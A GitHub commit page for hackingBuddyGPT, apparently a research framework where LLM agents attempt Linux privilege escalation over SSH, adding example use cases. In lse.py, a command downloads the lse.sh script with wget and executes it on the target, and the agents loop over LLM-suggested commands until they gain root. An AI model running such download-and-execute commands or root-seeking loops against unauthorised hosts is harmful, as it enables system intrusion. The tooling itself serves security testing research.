Skip to content

Commit 550a517

Browse files
authored
Merge pull request #83 from ipa-lab/development
add more web-api-testing changes, fix unittest
2 parents 5b65518 + eaf5fd8 commit 550a517

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

60 files changed

+2354
-742
lines changed

.gitignore

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,4 +13,5 @@ dist/
1313
.coverage
1414
src/hackingBuddyGPT/usecases/web_api_testing/openapi_spec/
1515
src/hackingBuddyGPT/usecases/web_api_testing/converted_files/
16-
/src/hackingBuddyGPT/usecases/web_api_testing/utils/openapi_spec/
16+
/src/hackingBuddyGPT/usecases/web_api_testing/documentation/openapi_spec/
17+
/src/hackingBuddyGPT/usecases/web_api_testing/documentation/reports/

src/hackingBuddyGPT/cli/wintermute.py

Lines changed: 4 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -8,13 +8,12 @@ def main():
88
parser = argparse.ArgumentParser()
99
subparser = parser.add_subparsers(required=True)
1010
for name, use_case in use_cases.items():
11-
subb = subparser.add_parser(
11+
use_case.build_parser(subparser.add_parser(
1212
name=use_case.name,
1313
help=use_case.description
14-
)
15-
use_case.build_parser(subb)
16-
x= sys.argv[1:]
17-
parsed = parser.parse_args(x)
14+
))
15+
16+
parsed = parser.parse_args(sys.argv[1:])
1817
instance = parsed.use_case(parsed)
1918
instance.init()
2019
instance.run()
Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
11
from .privesc import *
2-
from .minimal import *
2+
from .examples import *
33
from .web import *
44
from .web_api_testing import *
Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
from .agent import ExPrivEscLinux
2+
from .agent_with_state import ExPrivEscLinuxTemplated
3+
from .hintfile import ExPrivEscLinuxHintFileUseCase
4+
from .lse import ExPrivEscLinuxLSEUseCase

src/hackingBuddyGPT/usecases/minimal/agent.py renamed to src/hackingBuddyGPT/usecases/examples/agent.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,7 @@
1212
template_next_cmd = Template(filename=str(template_dir / "next_cmd.txt"))
1313

1414

15-
class MinimalLinuxPrivesc(Agent):
15+
class ExPrivEscLinux(Agent):
1616

1717
conn: SSHConnection = None
1818
_sliding_history: SlidingCliHistory = None
@@ -49,5 +49,5 @@ def perform_round(self, turn: int) -> bool:
4949

5050

5151
@use_case("Showcase Minimal Linux Priv-Escalation")
52-
class MinimalLinuxPrivescUseCase(AutonomousAgentUseCase[MinimalLinuxPrivesc]):
52+
class ExPrivEscLinuxUseCase(AutonomousAgentUseCase[ExPrivEscLinux]):
5353
pass

src/hackingBuddyGPT/usecases/minimal/agent_with_state.py renamed to src/hackingBuddyGPT/usecases/examples/agent_with_state.py

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111

1212

1313
@dataclass
14-
class MinimalLinuxTemplatedPrivescState(AgentWorldview):
14+
class ExPrivEscLinuxTemplatedState(AgentWorldview):
1515
sliding_history: SlidingCliHistory
1616
max_history_size: int = 0
1717
conn: SSHConnection = None
@@ -31,7 +31,7 @@ def to_template(self) -> dict[str, Any]:
3131
}
3232

3333

34-
class MinimalLinuxTemplatedPrivesc(TemplatedAgent):
34+
class ExPrivEscLinuxTemplated(TemplatedAgent):
3535

3636
conn: SSHConnection = None
3737

@@ -47,9 +47,9 @@ def init(self):
4747

4848
# setup state
4949
max_history_size = self.llm.context_size - llm_util.SAFETY_MARGIN - self._template_size
50-
self.set_initial_state(MinimalLinuxTemplatedPrivescState(self.conn, self.llm, max_history_size))
50+
self.set_initial_state(ExPrivEscLinuxTemplatedState(self.conn, self.llm, max_history_size))
5151

5252

5353
@use_case("Showcase Minimal Linux Priv-Escalation")
54-
class MinimalLinuxTemplatedPrivescUseCase(AutonomousAgentUseCase[MinimalLinuxTemplatedPrivesc]):
54+
class ExPrivEscLinuxTemplatedUseCase(AutonomousAgentUseCase[ExPrivEscLinuxTemplated]):
5555
pass
Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
import json
2+
3+
from hackingBuddyGPT.usecases.privesc.linux import LinuxPrivesc
4+
from hackingBuddyGPT.usecases.base import use_case, AutonomousAgentUseCase
5+
6+
@use_case("Linux Privilege Escalation using hints from a hint file initial guidance")
7+
class ExPrivEscLinuxHintFileUseCase(AutonomousAgentUseCase[LinuxPrivesc]):
8+
hints: str = None
9+
10+
def init(self):
11+
super().init()
12+
self.agent.hint = self.read_hint()
13+
14+
# simple helper that reads the hints file and returns the hint
15+
# for the current machine (test-case)
16+
def read_hint(self):
17+
try:
18+
with open(self.hints, "r") as hint_file:
19+
hints = json.load(hint_file)
20+
if self.agent.conn.hostname in hints:
21+
return hints[self.agent.conn.hostname]
22+
except FileNotFoundError:
23+
self._log.console.print("[yellow]Hint file not found")
24+
except Exception as e:
25+
self._log.console.print("[yellow]Hint file could not loaded:", str(e))
26+
return ""
Lines changed: 112 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,112 @@
1+
import pathlib
2+
from mako.template import Template
3+
4+
from hackingBuddyGPT.capabilities import SSHRunCommand
5+
from hackingBuddyGPT.utils.openai.openai_llm import OpenAIConnection
6+
from hackingBuddyGPT.usecases.privesc.linux import LinuxPrivescUseCase, LinuxPrivesc
7+
from hackingBuddyGPT.utils import SSHConnection
8+
from hackingBuddyGPT.usecases.base import UseCase, use_case
9+
10+
11+
template_dir = pathlib.Path(__file__).parent
12+
template_lse = Template(filename=str(template_dir / "get_hint_from_lse.txt"))
13+
14+
15+
@use_case("Linux Privilege Escalation using lse.sh for initial guidance")
16+
class ExPrivEscLinuxLSEUseCase(UseCase):
17+
conn: SSHConnection = None
18+
max_turns: int = 20
19+
enable_explanation: bool = False
20+
enable_update_state: bool = False
21+
disable_history: bool = False
22+
llm: OpenAIConnection = None
23+
24+
_got_root: bool = False
25+
26+
# use either an use-case or an agent to perform the privesc
27+
use_use_case: bool = False
28+
29+
def init(self):
30+
super().init()
31+
32+
# simple helper that uses lse.sh to get hints from the system
33+
def call_lse_against_host(self):
34+
self._log.console.print("[green]performing initial enumeration with lse.sh")
35+
36+
run_cmd = "wget -q 'https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh' -O lse.sh;chmod 700 lse.sh; ./lse.sh -c -i -l 0 | grep -v 'nope$' | grep -v 'skip$'"
37+
38+
result, _ = SSHRunCommand(conn=self.conn, timeout=120)(run_cmd)
39+
40+
self.console.print("[yellow]got the output: " + result)
41+
cmd = self.llm.get_response(template_lse, lse_output=result, number=3)
42+
self.console.print("[yellow]got the cmd: " + cmd.result)
43+
44+
return [x for x in cmd.result.splitlines() if x.strip()]
45+
46+
def get_name(self) -> str:
47+
return self.__class__.__name__
48+
49+
def run(self):
50+
# get the hints through running LSE on the target system
51+
hints = self.call_lse_against_host()
52+
turns_per_hint = int(self.max_turns / len(hints))
53+
54+
# now try to escalate privileges using the hints
55+
for hint in hints:
56+
57+
if self.use_use_case:
58+
self.console.print("[yellow]Calling a use-case to perform the privilege escalation")
59+
result = self.run_using_usecases(hint, turns_per_hint)
60+
else:
61+
self.console.print("[yellow]Calling an agent to perform the privilege escalation")
62+
result = self.run_using_agent(hint, turns_per_hint)
63+
64+
if result is True:
65+
self.console.print("[green]Got root!")
66+
return True
67+
68+
def run_using_usecases(self, hint, turns_per_hint):
69+
# TODO: init usecase
70+
linux_privesc = LinuxPrivescUseCase(
71+
agent = LinuxPrivesc(
72+
conn = self.conn,
73+
enable_explanation = self.enable_explanation,
74+
enable_update_state = self.enable_update_state,
75+
disable_history = self.disable_history,
76+
llm = self.llm,
77+
hint = hint
78+
),
79+
max_turns = turns_per_hint,
80+
log_db = self.log_db,
81+
console = self.console
82+
)
83+
linux_privesc.init()
84+
return linux_privesc.run()
85+
86+
def run_using_agent(self, hint, turns_per_hint):
87+
# init agent
88+
agent = LinuxPrivesc(
89+
conn = self.conn,
90+
llm = self.llm,
91+
hint = hint,
92+
enable_explanation = self.enable_explanation,
93+
enable_update_state = self.enable_update_state,
94+
disable_history = self.disable_history
95+
)
96+
agent._log = self._log
97+
agent.init()
98+
99+
# perform the privilege escalation
100+
agent.before_run()
101+
turn = 1
102+
got_root = False
103+
while turn <= turns_per_hint and not got_root:
104+
self._log.console.log(f"[yellow]Starting turn {turn} of {turns_per_hint}")
105+
106+
if agent.perform_round(turn) is True:
107+
got_root = True
108+
turn += 1
109+
110+
# cleanup and finish
111+
agent.after_run()
112+
return got_root

0 commit comments

Comments
 (0)